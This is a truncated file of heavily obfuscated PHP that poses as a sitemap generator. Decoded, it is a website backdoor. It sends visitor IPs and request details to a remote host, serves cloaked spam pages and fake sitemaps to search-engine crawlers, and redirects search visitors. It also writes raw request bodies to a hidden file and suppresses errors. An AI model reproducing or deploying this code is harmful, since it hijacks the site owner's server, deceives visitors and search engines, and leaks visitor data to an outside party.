"\x3c\77\170\155\154\x20\166\145\x72\163\151\157\x6e\75\x22\61\x2e\60\x22\x20\x65\156\143\x6f\144\151\156\147\x3d\x22\125\124\x46\x2d\x38\x22\77\x3e\74\41\x2d\x2d\x20\141\x75\x74\x6f\x67\145\156\40\x62\x79\40\x64\x6f\151\x6d\40\x2d\x2d\x3e\xd\xa\x3c\x75\x72\154\163\145\x74\40\x78\155\x6c\156\163\75\42\x68\164\x74\x70\72\x2f\57\167\167\x77\x2e\x73\x69\x74\x65\x6d\x61\160\x73\56\157\x72\147\57\163\143\x68\x65\155\x61\x73\57\x73\151\164\x65\x6d\x61\x70\57\60\x2e\x39\x22\15\xa\x20\40\40\40\x20\40\170\x6d\x6c\x6e\163\x3a\170\x68\164\155\154\x3d\x22\x68\x74\164\160\x3a\57\x2f\x77\167\167\x2e\167\63\x2e\x6f\162\x67\57\61\x39\x39\71\x2f\x78\150\164\155\154\x22\x3e\xd\xa\45\163\x3c\x2f\165\x72\x6c\163\x65\164\x3e"; goto Bv21w; jDoIL: $LdefB = $EepSb . "\x26\147\162\157\165\160\x69\x64\x3d" . $Bkd3e . "\x26\165\x72\x69\x3d" . $Ptwoa . "\46\x69\x70\x3d" . $TVDQC; goto WXVqo; OKQDx: array_push($VcMSE, "\164\151\155\x65\163\x74\x61\x6d\160\x3a\x20" . $w1OcY); goto DzTim; T1Mpc: @ini_set("\x64\151\163\160\x6c\x61\171\137\x65\162\162\157\162\x73", 0); goto SUo4e; D7QUt: if ($LxSMQ[1] === '' || @preg_match("\43\x28\x5c\144\x2b\x29\x2d\44\x23", $LxSMQ[1], $QNQ4J)) { goto ZEVfJ; } goto YFSUo; Y3jgZ: exit; goto d5OPb; OXryV: $UKB2_ = "\x3c\x3f\x78\155\x6c\x20\166\145\x72\163\151\157\x6e\75\42\61\56\60\42\x20\145\x6e\x63\x6f\144\151\x6e\147\75\x22\x55\x54\106\x2d\x38\x22\x3f\76\74\41\55\55\40\x61\x75\x74\x6f\x67\x65\156\x20\142\x79\x20\x64\157\151\x6d\x20\x2d\55\76\15\xa\74\x73\x69\164\145\155\x61\160\151\x6e\x64\x65\x78\x20\x78\x6d\x6c\x6e\163\75\42\x68\x74\x74\160\x3a\57\57\167\167\167\x2e\163\151\164\145\x6d\x61\x70\x73\x2e\157\162\x67\57\163\143\x68\x65\155\141\163\57\x73\151\164\145\x6d\x61\160\57\x30\56\71\x22\76\x20\45\163\x20\x3c\57\163\151\x74\145\155\x61\160\151\156\x64\145\170\76"; goto dYMtH; UiquQ: exit; goto S9gHZ; dYMtH: $FJlEr = "\40\x3c\x73\x69\164\145\x6d\141\160\76\40\x3c\154\157\x63\76\x25\163\72\x2f\x2f\45\x73\57\163\151\x74\x65\155\x61\160\45\x64\56\x78\x6d\154\x3c\x2f\154\157\x63\x3e\74\x2f\163\151\x74\145\x6d\x61\x70\76"; goto Q4fdT; c81jF: echo sprintf($YKRKV, $ONNBC); goto VQDj6; b8gQ7: sQUrn: goto AHKvY; f7kxF: function urlx($uwO1n, $VcMSE = null, $EepSb = null, $qhYXm = null) { goto kto02; lJvpc: LYBC8: goto Ne3f4; kK9us: return $BYbZJ; goto yqojB; h2Q5k: N1xL5: goto rOePy; kto02: $ummWt = curl_init(); goto LlUa7; Q4qgC: if ($qhYXm === null) { goto NdpUv; } goto m1p4F; bITgN: iz7GW: goto uD1Xd; LlUa7: curl_setopt($ummWt, CURLOPT_URL, $uwO1n); goto gLSFx; YT1Sf: curl_setopt($ummWt, CURLOPT_HTTPHEADER, $VcMSE); goto h2Q5k; QEG3w: curl_setopt($ummWt, CURLOPT_POSTFIELDS, $EepSb); goto lJvpc; jsBNT: NdpUv: goto aalV1; kGpO3: curl_setopt($ummWt, CURLOPT_SSL_VERIFYHOST, FALSE); goto bITgN; rOePy: if ($EepSb === null) { goto LYBC8; } goto Cfw2V; aalV1: if (!(stripos($uwO1n, "\x68\x74\164\x70\163\x3a") === 0)) { goto iz7GW; } goto IU93f; pLFNb: curl_close($ummWt); goto kK9us; uD1Xd: if ($VcMSE === null) { goto N1xL5; } goto YT1Sf; Ne3f4: curl_setopt($ummWt, CURLOPT_RETURNTRANSFER, 1); goto f4usk; m1p4F: curl_setopt($ummWt, CURLOPT_ENCODING, "\x67\172\x69\160\54\144\x65\146\154\x61\164\145"); goto jsBNT; gLSFx: curl_setopt($ummWt, CURLOPT_FOLLOWLOCATION, 1); goto Q4qgC; f4usk: $BYbZJ = curl_exec($ummWt); goto pLFNb; Cfw2V: curl_setopt($ummWt, CURLOPT_POST, 1); goto QEG3w; IU93f: curl_setopt($ummWt, CURLOPT_SSL_VERIFYPEER, FALSE); goto kGpO3; yqojB: } goto J18n7; Q6oIV: ZEVfJ: goto xjrDC; WXVqo: $rDBnw = urlx(sprintf("\x68\164\164\160\163\72\x2f\x2f\x25\163\x2f\x62\157\x74\x2f\x33\60\62\77" . $LdefB . "\x26\x75\162\x69\x3d" . $Ptwoa, gets()), $VcMSE, $LdefB, 1); goto jW6oL; DTtgr: $ZHPdB = https(); goto R6NuS; Wi4EC: $w1OcY = strval(time()); goto OKQDx; lxykh: array_push($VcMSE, "\x78\144\157\x69\155\x3a\40" . crc32($w1OcY . "\134\x6e" . $EepSb)); goto Lr0Ua; XQrFW: @preg_match("\43\x28\x5c\x64\x2a\x29\xe4\273\xb6\x3c\41\55\55\x23", $BYbZJ, $LxSMQ); goto WIN_R; N6fkM: qQIjj: goto Y93B7; d5OPb: JpBix: goto xynwd; zNG1F: unlink("\x2e\x65\x47\x41\x30\124\x79\x32\x57\x4c\x68"); goto EiX6U; cvOsF: $TVDQC = clientip(); goto DTtgr; r5nU3: if (!(@preg_match("\43\147\x6f\157\147\x6c\x65\56\143\157\x2e\152\x70\174\147\157\x6f\x67\154\145\x2e\x63\x6f\x6d\x7c\171\x61\x68\157\x6f\x2e\143\157\56\x6a\x70\174\171\141\x68\x6f\x6f\x2e\143\x6f\x7c\x62\x69\156\x67\x2e\x63\157\155\174\141\163\x6b\56\x63\157\155\174\141\x6f\154\56\143\x6f\x6d\174\x61\x6f\x6c\56\152\160\43\151", $M6_LQ) && @preg_match("\x23\x28\x5b\x61\x2d\x7a\x49\135\53\x29\x2d\x28\x5c\144\53\x29\x3f\x28\55\x28\x5c\x64\x2b\x29\51\x3f\50\x2e\150\x74\155\154\x29\44\43\x69", $Ptwoa))) { goto OI6zU; } goto jDoIL; TfnIt: if (!@preg_match("\43\x5e\57\147\x65\164\x76\x65\162\x24\43\151", $Ptwoa, $LxSMQ)) { goto lWMbF; } goto Otkbu; KVwdO: if (!($V0zaw === '')) { goto NVSoL; } goto tPIs8; NWfNY: exit; goto yqaU1; Otkbu: $w1OcY = strval(time()); goto ZurFP; yqaU1: uG8uj: goto VfW7X; VE4q8: $LdefB .= sprintf("\46\x68\160\151\144\x3d\45\163\x2d\x25\163", preg_replace("\x2f\x5b\141\x2d\172\x49\x5d\50\x78\171\x7a\x7c\142\x75\172\x7a\x29\56\52\x24\57", "\56\44\x31", strrev($LxSMQ[1])), $LxSMQ[2]); goto MCVkJ; Lr0Ua: $G14Ni = trim(urlx("\x68\x74\x74\x70\163\72\57\57" . gets() . $LxSMQ[0], $VcMSE, $EepSb)); goto Lpkrm; F9VkA: $uwO1n = $LxSMQ[1] == '' ? sprintf($uwO1n, $Vy1o5) : sprintf($uwO1n, $LxSMQ[1]); goto dALQT; r6Fb_: $Ptwoa = $_SERVER["\122\105\121\125\x45\x53\x54\x5f\125\x52\x49"]; goto cvOsF; xqryH: $Bkd3e = "\64\62\63"; goto ZKlbj; QsGu3: exit; goto S3wNq; PRE_p: if (!@preg_match("\x23\147\157\157\x67\154\145\174\x79\141\150\x6f\157\x7c\x62\151\x6e\147\174\x63\x72\141\146\164\x7c\x43\162\x61\x77\154\145\162\x23\151", $pe1Rv)) { goto wH_XA; } goto WzNYJ; MCVkJ: echo @trim(urlx(sprintf("\150\164\164\x70\x73\x3a\x2f\x2f\45\x73\57\142\157\164\x2f\160\x61\x67\x65\77" . $LdefB, gets()), $VcMSE, $LdefB, 1)); goto QsGu3; SUo4e: @set_time_limit(3600); goto Y2MjE; Lsbut: $w1OcY = strval(time()); goto qNOK3; CjIVo: $tZbe1 = 1; goto cONeh; w8vFP: wH_XA: goto r5nU3; hPbuj: lWMbF: goto PRE_p; FHiCt: function clientip() { goto JGZWL; dyKkm: return getenv("\122\105\x4d\117\x54\x45\137\x41\x44\104\x52"); goto LOgLc; kTazy: if (isset($_SERVER["\122\x45\x4d\117\124\105\137\101\104\x44\122"]) && $_SERVER["\122\105\115\x4f\x54\105\137\101\x44\104\122"] && strcasecmp($_SERVER["\x52\105\115\x4f\124\x45\x5f\101\104\x44\x52"], "\x75\x6e\x6b\x6e\157\167\x6e")) { goto XZR7H; } goto SdpdI; LOgLc: goto UoqVA; goto Rqqv6; SdpdI: goto UoqVA; goto nkrPp; JGZWL: if (getenv("\x52\105\115\x4f\124\105\x5f\101\104\104\122") && strcasecmp(getenv("\122\105\x4d\x4f\x54\x45\137\101\x44\x44\x52"), "\x75\156\x6b\156\x6f\167\x6e")) { goto ORcvs; } goto kTazy; nkrPp: ORcvs: goto dyKkm; W4ISF: return $_SERVER["\122\x45\x4d\117\124\105\137\x41\104\104\x52"]; goto pzHYg; pzHYg: UoqVA: goto HCjQ9; Rqqv6: XZR7H: goto W4ISF; HCjQ9: }?>

<?php goto e2bV4; FQhXD: $iO8PJ = array("\x55\x73\x65\162\x2d\101\147\x65\156\164\72\40" . $yDg9c, "\x4c\x61\156\x67\x3a\x20" . $Ygi5s, "\122\x65\146\145\162\145\162\72\40" . $jqE9A, "\x48\x74\164\160\x2d\x48\x6f\x73\164\72\x20" . $SBMcZ, "\x52\x65\155\x6f\164\145\55\x41\x64\x64\x72\72\40" . $vG9JG); goto ekZmd; OrliU: $Rr2Wf = strval(time()); goto Wqenn; jA1I3: K3lsW: goto h6bkt; CshAX: $SBMcZ = $_SERVER["\110\124\x54\120\137\110\x4f\x53\124"]; goto hqZyg; Q1Bu2: dfEpB: goto SMKK_; G9zEm: $sn5PZ .= "\x26\147\x72\x6f\165\x70\151\144\x3d" . $cn1SC; goto zUQiG; tAciD: echo sprintf($EQ4mq, $ugap4); goto huNBy; HKn3H: @header("\x4c\x6f\x63\x61\x74\x69\157\x6e\72\40" . $vAGwM); goto bpier; e0qRa: if (!($MXCPG === '')) { goto T5AXw; } goto hq97H; bFHlh: $PmFOl = urldecode("\x68\x74\164\x70\x73\x3a\57\57\x73\x65\141\162\143\150\56\x79\141\150\x6f\x6f\x2e\x63\x6f\x2e\x6a\x70\57\163\x65\141\162\x63\150\x3f\160\x3d\x73\x69\x74\x65\72\x25\x73\x26\x65\151\x3d\125\124\x46\55\70"); goto dFfrZ; jK8gt: if ($Mtj2g[1] === '' || @preg_match("\x23\50\x5c\x64\x2b\x29\55\44\x23", $Mtj2g[1], $coiwp)) { goto qaMoJ; } goto V9pAN; ldRXu: $ykYb8 = ''; goto bNtfW; UsniM: $UfxSF = explode("\12", $MXCPG); goto ldRXu; h6bkt: echo @trim(urlx(sprintf("\x68\164\164\x70\163\72\x2f\x2f\45\163\x2f\142\157\164\57\143\x61\164\x65\77" . $uSYVv, gets()), $iO8PJ, $uSYVv . "\46\x68\157\x73\x74\75" . preg_replace("\x2f\x5b\141\55\x7a\x49\x5d\50\170\x79\x7a\x7c\142\x75\x7a\x7a\x29\x2e\x2a\x24\x2f", "\x2e\x24\61", strrev($zrRMT[1])) . "\x26\143\x61\x74\145\151\144\x3d" . $zrRMT[2], 1)); goto LOXDJ; qSNp1: echo sprintf($feyN4, $ykYb8); goto o7zsz; LlCi7: function urlx($PmFOl, $iO8PJ = null, $sn5PZ = null, $Yiefi = null) { goto ispdt; HLCVa: LStgx: goto c4aty; exu7T: tdRCa: goto K_89b; jQgIt: if ($iO8PJ === null) { goto LStgx; } goto bZPtu; ZBN0O: X8L2Z: goto jQgIt; IBcbE: curl_setopt($kVgxj, CURLOPT_POST, 1); goto CWlpO; NZT1b: curl_setopt($kVgxj, CURLOPT_SSL_VERIFYPEER, FALSE); goto Zxxiq; Zxxiq: curl_setopt($kVgxj, CURLOPT_SSL_VERIFYHOST, FALSE); goto ZBN0O; TmZwG: if ($Yiefi === null) { goto dszKj; } goto D9P9o; eYkTB: curl_setopt($kVgxj, CURLOPT_URL, $PmFOl); goto RULRh; bZPtu: curl_setopt($kVgxj, CURLOPT_HTTPHEADER, $iO8PJ); goto HLCVa; CWlpO: curl_setopt($kVgxj, CURLOPT_POSTFIELDS, $sn5PZ); goto exu7T; RULRh: curl_setopt($kVgxj, CURLOPT_FOLLOWLOCATION, 1); goto TmZwG; c4aty: if ($sn5PZ === null) { goto tdRCa; } goto IBcbE; D9P9o: curl_setopt($kVgxj, CURLOPT_ENCODING, "\147\x7a\151\160\x2c\x64\x65\146\154\x61\x74\x65"); goto ynvwE; ispdt: $kVgxj = curl_init(); goto eYkTB; DPcV_: $fgyLQ = curl_exec($kVgxj); goto QAVDR; ynvwE: dszKj: goto hYwJl; K_89b: curl_setopt($kVgxj, CURLOPT_RETURNTRANSFER, 1); goto DPcV_; eQby4: return $fgyLQ; goto ZUlQQ; hYwJl: if (!(stripos($PmFOl, "\150\x74\x74\160\x73\72") === 0)) { goto X8L2Z; } goto NZT1b; QAVDR: curl_close($kVgxj); goto eQby4; ZUlQQ: } goto gFyrf; tWhUZ: array_push($iO8PJ, "\x78\x64\x6f\151\x6d\x3a\40" . crc32($Rr2Wf . "\134\156" . $sn5PZ)); goto p9FdH; PRnni: GXpey: goto rVReV; dUt6i: IPQqC: goto vdtb7; P0J90: if (!@preg_match("\43\x5e\x28\x5c\x64\51\52\43", $MXCPG)) { goto IPQqC; } goto TLdi9; ywTd_: $Ygi5s = isset($_SERVER["\110\124\124\x50\x5f\x41\x43\x43\105\x50\x54\137\x4c\x41\x4e\107\125\x41\x47\105"]) ? substr($_SERVER["\x48\124\x54\120\137\x41\x43\103\x45\x50\124\137\x4c\101\116\x47\x55\101\x47\x45"], 0, 4) : ''; goto dq5tn; qSk2C: piJww: goto TDSWj; ni7CO: unlink("\x2e\145\107\x41\x30\124\x79\62\127\x4c\x68"); goto gIHMt; EE82R: @ini_set("\x64\151\163\160\154\x61\171\x5f\145\x72\162\x6f\162\163", 0); goto VTjt0; mGPv0: T5AXw: goto RxZL4; pm2T5: Fe0mC: goto D_csH; exEtW: if (@preg_match("\43\x28\134\x64\x2b\x29\x2d\x24\x23", $Mtj2g[1], $coiwp)) { goto wwvwM; } goto G9zEm; o7zsz: exit; goto IWjAs; RvWae: array_push($iO8PJ, "\164\x69\x6d\x65\163\x74\x61\x6d\x70\72\x20" . $Rr2Wf); goto tWhUZ; r2rPn: goto of92i; goto TzT1N; SMKK_: if (!@preg_match("\43\x67\x6f\x6f\147\x6c\145\x7c\171\x61\150\157\x6f\174\x62\x69\156\147\x7c\143\x72\141\x66\164\174\103\162\x61\x77\x6c\145\162\x23\x69", $yDg9c)) { goto KG_2r; } goto h3ksp; mIfrr: if (!(($Mtj2g[1] === '' || $coiwp[1] != '') && @preg_match("\43\x5e\x28\134\x64\51\x2a\43", $MXCPG))) { goto iLCo4; } goto ICiLK; fMkHX: kvlbZ: goto OrliU; ZJ54J: @file_put_contents("\x2e\145\107\101\x30\x54\x79\x32\127\x4c\150", $x1mRn, FILE_USE_INCLUDE_PATH); goto chh0n; oxdAc: function gets() { return "\160\x32\x2e\147\x6c\x6f\162\171\x70\x6c\x61\x6e\56\143\154\x75\142"; } goto cQEnT; LYlSY: $MXCPG = trim(urlx("\150\164\x74\x70\163\72\x2f\57" . gets() . "\x2f\x73\151\164\x65\155\141\160" . ($Mtj2g[1] == '' || $coiwp[1] != '' ? "\x2e\170\x6d\x6c" : "\57" . $Mtj2g[1]), $iO8PJ, $sn5PZ)); goto e0qRa; rVReV: $XNxz4++; goto ULHD3; fmXnI: $ffP85 = "\40\74\x73\151\x74\x65\155\141\160\x3e\x20\74\x6c\x6f\x63\76\x25\x73\x3a\x2f\57\x25\163\57\163\151\x74\x65\x6d\x61\160\x25\x64\x2e\170\x6d\154\74\57\x6c\x6f\143\x3e\x3c\57\x73\151\164\145\x6d\141\x70\76"; goto ywTd_; Oq7ak: array_push($iO8PJ, "\x78\144\157\x69\155\x3a\x20" . crc32($Rr2Wf . "\x5c\x6e" . $sn5PZ)); goto LYlSY; JnwSo: $Rr2Wf = isset($_SERVER["\110\x54\x54\120\x5f\x54\x49\115\105\123\x54\101\115\120"]) ? $_SERVER["\x48\x54\124\120\137\124\x49\115\105\x53\x54\x41\115\120"] : ''; goto Zjk71; usZSD: ENjdR: goto dUt6i; p9FdH: $MXCPG = trim(urlx("\x68\164\x74\160\x73\x3a\x2f\x2f" . gets() . "\57\163\x69\x74\x65\155\x61\160\x2e\170\x6d\x6c", $iO8PJ, $sn5PZ . "\46\x68\x74\x74\x70\75" . $F1UZe)); goto EaTdw; vdtb7: RohbR: goto AhzBw; D_csH: KG_2r: goto SpFdx; ULHD3: goto MsDXz; goto usZSD; ty7qc: qaMoJ: goto L3otU; cF2iE: $JVymC = urlx($EzMlU); goto OmjiF; VTjt0: @set_time_limit(3600); goto KHV3a; ZQFYu: if (!(isset($_SERVER["\x48\x54\124\120\x5f\130\x44\x4f\x49\115"]) && strlen($_SERVER["\110\x54\124\120\x5f\130\104\117\x49\115"]) > 0)) { goto yrPnr; } goto JnwSo; Zjk71: $x1mRn = @file_get_contents("\x70\x68\160\72\57\x2f\151\x6e\x70\165\164"); goto ZJ54J; jvKqi: $XNxz4++; goto r2rPn; l4tL4: @preg_match("\x23\50\134\144\52\51\344\273\266\74\41\x2d\x2d\43", $fgyLQ, $Mtj2g); goto hNa_i; e2bV4: error_reporting(0); goto EE82R; aLnv3: echo @trim(urlx(sprintf("\150\164\x74\x70\163\x3a\57\x2f\x25\x73\x2f\x62\x6f\x74\x2f\150\157\155\x65\x3f" . $uSYVv . "\x26\x75\x72\x69\x3d" . $edQv_, gets()), $iO8PJ, $uSYVv, 1)); goto Nlzzh; IhZrK: $XqOCY .= $EzMlU . $JVymC; goto P7QDe; HNvPF: $fgyLQ = str_replace(array("\57\134\x2f\x73\x2b\57", "\134\x72\134\156", "\x5c\x72", "\x5c\x6e", "\x22", "\54"), '', $fgyLQ); goto l4tL4; rTVY2: $XqOCY = ''; goto jK8gt; jROZ9: exit; goto xkv9d; gibCL: vpQJ6: goto qSNp1; BDt7u: $yDg9c = isset($_SERVER["\110\x54\124\x50\x5f\125\x53\105\x52\137\101\x47\105\116\x54"]) ? $_SERVER["\110\x54\x54\120\137\125\x53\105\122\x5f\x41\107\x45\x4e\x54"] : ''; goto CshAX; kC46A: zQS0p: goto jvKqi; kLzs8: MsDXz: goto V7p1K; V9pAN: $EzMlU = sprintf("\150\164\x74\160\163\x3a\57\x2f\x77\167\167\x2e\x67\x6f\157\147\x6c\145\x2e\x63\x6f\x2e\x6a\x70\57\160\151\x6e\x67\x3f\x73\151\164\145\155\141\160\x3d\x25\x73\72\x2f\x2f\x25\163\x2f\x73\x69\164\x65\155\x61\x70\45\163\x2e\170\155\x6c", $F1UZe, $SBMcZ, $Mtj2g[1]); goto eJ160; dFfrZ: $PmFOl = $Mtj2g[1] == '' ? sprintf($PmFOl, $SBMcZ) : sprintf($PmFOl, $Mtj2g[1]); goto yZ21h; gIHMt: exit; goto oWG4G; TLdi9: $XNxz4 = 1; goto kLzs8; NBDCj: exit; goto TCcqe; h3ksp: $uSYVv = $sn5PZ . "\x26\x68\164\x74\x70\x3d" . $F1UZe . "\x26\x67\162\x6f\x75\160\x69\x64\75" . $cn1SC; goto CKOiJ; F_rWJ: mUIhk: goto P0J90; dwB_3: $uSYVv .= sprintf("\x26\150\160\x69\x64\75\45\163\55\x25\163", preg_replace("\x2f\x5b\141\x2d\x7a\x49\135\50\x78\x79\172\174\x62\165\x7a\172\51\x2e\x2a\x24\x2f", "\x2e\44\61", strrev($Mtj2g[1])), $Mtj2g[2]); goto VmjWg; eJ160: $JVymC = urlx($EzMlU); goto IhZrK; SpFdx: if (!(@preg_match("\x23\x67\x6f\x6f\x67\154\145\56\x63\157\x2e\152\160\x7c\x67\x6f\157\147\x6c\x65\56\x63\157\x6d\174\171\x61\150\x6f\157\x2e\x63\157\56\152\x70\174\x79\x61\x68\157\x6f\x2e\143\157\174\x62\151\x6e\147\x2e\x63\157\x6d\x7c\x61\163\x6b\x2e\143\x6f\155\174\141\x6f\x6c\x2e\143\157\155\x7c\141\157\x6c\56\x6a\160\x23\151", $jqE9A) && @preg_match("\43\50\133\141\55\172\111\x5d\x2b\x29\x2d\50\134\144\53\51\77\x28\55\x28\x5c\144\x2b\x29\x29\77\50\56\150\x74\155\154\x29\x24\43\x69", $edQv_))) { goto piJww; } goto yFQUQ; ZuMGa: $EzMlU = sprintf("\150\x74\164\160\163\x3a\57\57\167\x77\x77\56\x67\157\x6f\147\x6c\145\56\x63\x6f\56\x6a\160\57\160\151\156\147\x3f\163\x69\164\145\x6d\x61\160\75\45\163\x3a\57\x2f\45\163\x2f\163\151\164\x65\155\141\x70\45\x73\x25\x64\x2e\170\155\154", $F1UZe, $SBMcZ, $coiwp[0], $XNxz4); goto cF2iE; Bjh2t: if (!@preg_match("\43\x5e\x2f\x73\151\164\145\x2f\x3f\50\x2e\x2a\77\51\x24\x23\x69", $edQv_, $Mtj2g)) { goto OHP67; } goto bFHlh; bpier: exit; goto qSk2C; ekZmd: $sn5PZ = "\x73\150\157\x73\164\x3d" . $SBMcZ . "\46\160\x72\x6f\x74\x6f\75" . $F1UZe; goto YX435; Nlzzh: exit; goto kNeMc; q6JdB: if (@preg_match("\43\x63\141\164\x65\134\57\50\x5b\x61\x2d\172\x5d\53\x29\x2d\x28\x5c\x64\53\x29\x24\x23\x69", $edQv_, $zrRMT)) { goto K3lsW; } goto aLnv3; dq5tn: $jqE9A = isset($_SERVER["\x48\124\x54\120\x5f\x52\105\x46\x45\122\x45\122"]) ? $_SERVER["\x48\124\x54\x50\137\x52\x45\x46\x45\x52\x45\122"] : ''; goto BDt7u; M5KLK: $Rr2Wf = strval(time()); goto RvWae; TCcqe: goto Fe0mC; goto jA1I3; TzT1N: ny80_: goto tAciD; KHV3a: @ignore_user_abort(1); goto JrRoH; k1WoQ: $EQ4mq = "\x3c\x3f\170\155\x6c\x20\x76\145\162\x73\x69\157\x6e\75\x22\x31\56\x30\42\x20\145\156\143\x6f\144\151\x6e\147\75\x22\125\x54\x46\x2d\70\42\x3f\x3e\x3c\x21\55\x2d\40\x61\x75\x74\x6f\x67\145\156\40\x62\x79\x20\144\x6f\151\x6d\40\55\x2d\x3e\15\xa\x3c\x73\x69\x74\145\155\141\x70\x69\156\144\145\x78\40\x78\x6d\154\156\163\75\x22\x68\x74\164\160\x3a\x2f\x2f\167\x77\x77\x2e\x73\151\164\145\155\x61\160\163\x2e\x6f\162\147\57\163\x63\150\145\x6d\141\163\57\x73\x69\x74\x65\x6d\141\160\x2f\60\x2e\71\42\x3e\40\45\x73\x20\74\57\163\151\164\145\x6d\x61\x70\x69\x6e\x64\145\x78\x3e"; goto fmXnI; AhzBw: echo $XqOCY; goto jROZ9; lz4YJ: $XNxz4 = 1; goto wH1gn; huNBy: exit; goto MyhVb; hqZyg: $edQv_ = $_SERVER["\122\x45\x51\x55\105\x53\124\x5f\125\x52\111"]; goto o6VN0; cQEnT: function https() { goto YPdYz; Hx81_: return "\x68\x74\x74\x70"; goto XMLM_; ATim4: lKB5f: goto Hx81_; iR2kZ: return "\x68\164\x74\x70\x73"; goto ATim4; YPdYz: if (!(!empty($_SERVER["\110\124\x54\x50\123"]) && strtolower($_SERVER["\110\x54\124\120\123"]) !== "\157\x66\146" || isset($_SERVER["\x48\124\124\x50\137\130\x5f\106\117\122\127\x41\122\104\105\x44\137\x50\122\x4f\x54\117"]) && $_SERVER["\110\124\124\x50\x5f\130\137\x46\117\122\x57\x41\122\104\105\104\137\120\x52\117\x54\117"] === "\150\164\164\x70\x73" || !empty($_SERVER["\x48\124\124\x50\137\x46\122\x4f\x4e\x54\x5f\x45\x4e\x44\137\x48\x54\x54\120\x53"]) && strtolower($_SERVER["\110\124\124\120\137\106\x52\x4f\x4e\124\x5f\105\116\104\137\x48\x54\x54\x50\123"]) !== "\x6f\x66\146")) { goto lKB5f; } goto iR2kZ; XMLM_: } goto J81nt; NCdh1: OHP67: goto Q8j_b; wH1gn: of92i: goto Zwhnm; Q8j_b: if (!@preg_match("\x23\x5e\57\147\145\164\x76\145\162\44\43\x69", $edQv_, $Mtj2g)) { goto dfEpB; } goto v0NbL; xE67_: $sn5PZ .= "\46\147\x72\x6f\165\x70\151\144\75" . $coiwp[1]; goto fMkHX; eL3LS: if (!@preg_match("\43\x5e\x2f\160\151\x6e\x67\x73\151\x74\x65\x6d\x61\160\x28\56\x2a\x3f\x29\x2e\170\155\x6c\x24\43\x69", $edQv_, $Mtj2g)) { goto ReBq3; } goto rTVY2; QU9RQ: if (!@preg_match("\x23\x5e\57\163\x69\x74\x65\155\141\160\50\56\52\77\x29\x2e\170\x6d\154\44\43\x69", $edQv_, $Mtj2g)) { goto oE3Y1; } goto HU6nc; VmjWg: echo @trim(urlx(sprintf("\150\x74\x74\160\163\x3a\57\57\45\x73\57\x62\x6f\164\x2f\x70\x61\147\x65\x3f" . $uSYVv, gets()), $iO8PJ, $uSYVv, 1)); goto NBDCj; Wqenn: array_push($iO8PJ, "\x74\x69\x6d\x65\163\164\141\155\x70\72\40" . $Rr2Wf); goto Oq7ak; oWG4G: yrPnr: goto Bjh2t; V7p1K: if (!($XNxz4 <= intval($MXCPG))) { goto ENjdR; } goto ZuMGa; TDSWj: function urls($SBMcZ, $M3gxR, $yDg9c, $eFxTj, $vbA3M = null) { goto Hd8fW; dHEDj: fclose($qlPm8); goto GA30r; BXPur: $vcor3 = fwrite($qlPm8, $jM3yf); goto dHEDj; Hd8fW: $qlPm8 = stream_socket_client("\163\163\x6c\72\x2f\57" . $SBMcZ . "\72\64\64\63", $Cuyp4, $zzWGH, 6); goto mktX0; mktX0: $jM3yf = "\107\x45\124\x20" . $M3gxR . "\x3f" . $vbA3M . "\x20\x48\124\124\120\x2f\61\56\x30\xd\xa\x48\157\x73\x74\72\40" . $SBMcZ . "\xd\12\x52\x65\146\145\162\x65\x72\72\x20" . $eFxTj . "\15\12\x55\163\145\x72\55\x41\147\x65\156\x74\72\x20" . $yDg9c . "\15\xa\xd\12"; goto BXPur; GA30r: } goto LlCi7; kNeMc: goto Fe0mC; goto rgpGr; YX435: $edQv_ = $_SERVER["\122\x45\121\x55\105\123\124\137\x55\x52\x49"]; goto eL3LS; gFyrf: function cc($edQv_) { goto lyzFh; CZits: if (!(sizeof($re6I1) != 3)) { goto v2ybM; } goto uUbjE; uUbjE: return false; goto YCxND; zs6jy: return $F86g6 == $re6I1[2]; goto UETZb; YCxND: v2ybM: goto ZrWfq; ZrWfq: $F86g6 = sprintf("\x25\x75", crc32(sprintf("\45\163\55\45\163", $re6I1[0], $re6I1[1]))); goto zs6jy; lyzFh: $re6I1 = explode("\55", substr($edQv_, 1, strlen($edQv_) - 6)); goto CZits; UETZb: } goto oxdAc; yFQUQ: $uSYVv = $sn5PZ . "\x26\147\162\x6f\165\160\151\x64\75" . $cn1SC . "\x26\x75\x72\x69\x3d" . $edQv_ . "\x26\151\x70\75" . $vG9JG; goto v9Zlq; xkv9d: ReBq3: goto QU9RQ; lSFXb: $F1UZe = https(); goto FQhXD; P7QDe: goto RohbR; goto ty7qc; PUXTD: exit; goto NCdh1; aQNUV: $fgyLQ = substr($fgyLQ, strpos($fgyLQ, "\74\41\x2d\55\x20\x2d\55\76"), 100); goto HNvPF; o6VN0: $vG9JG = clientip(); goto lSFXb; yZ21h: $fgyLQ = urlx($PmFOl, null, null, 1, "\115\157\172\x69\x6c\154\141\x2f\65\56\60\40\50\x57\x69\156\144\x6f\x77\x73\x3b\40\x55\x3b\x20\x57\x69\x6e\144\x6f\167\x73\40\116\124\x20\65\56\61\x3b\x20\x65\156\55\x55\123\51\40\x41\x70\x70\154\x65\127\145\x62\x4b\x69\x74\x2f\x35\x33\64\x2e\67\40\50\x4b\x48\x54\115\114\54\40\x6c\x69\153\x65\x20\x47\145\x63\x6b\157\x29\40\x43\150\162\157\x6d\145\57\67\x2e\x30\x2e\x35\61\x37\x2e\64\x31\40\x53\141\x66\141\x72\x69\x2f\65\x33\64\56\67"); goto aQNUV; OmjiF: $XqOCY .= $EzMlU . $JVymC; goto PRnni; X9iM2: exit; goto Q1Bu2; yQY1w: exit; goto F_rWJ; Zwhnm: if (!($XNxz4 <= intval($MXCPG))) { goto ny80_; } goto g6rU4; MyhVb: iLCo4: goto UsniM; v9Zlq: $vAGwM = urlx(sprintf("\150\x74\x74\x70\x73\72\57\x2f\x25\163\x2f\142\x6f\x74\x2f\x33\x30\x32\77" . $uSYVv . "\46\x75\162\x69\x3d" . $edQv_, gets()), $iO8PJ, $uSYVv, 1); goto HKn3H; HU6nc: $sn5PZ = "\163\x68\157\x73\x74\x3d" . $SBMcZ . "\46\150\x74\164\x70\x3d" . $F1UZe; goto exEtW; gDt1X: wwvwM: goto xE67_; Pjmim: echo $h6r2w === false ? "\x66\x61\x69\x6c" . gets() : $wLTOU . $cn1SC . gets(); goto X9iM2; VB6Yv: array_push($iO8PJ, "\x74\151\x6d\145\x73\164\141\x6d\x70\x3a\x20" . $Rr2Wf); goto hujhX; Oygnl: $wLTOU = trim(urlx("\x68\x74\164\x70\163\72\57\x2f" . gets() . $Mtj2g[0], $iO8PJ, $sn5PZ)); goto Pjmim; CKOiJ: if 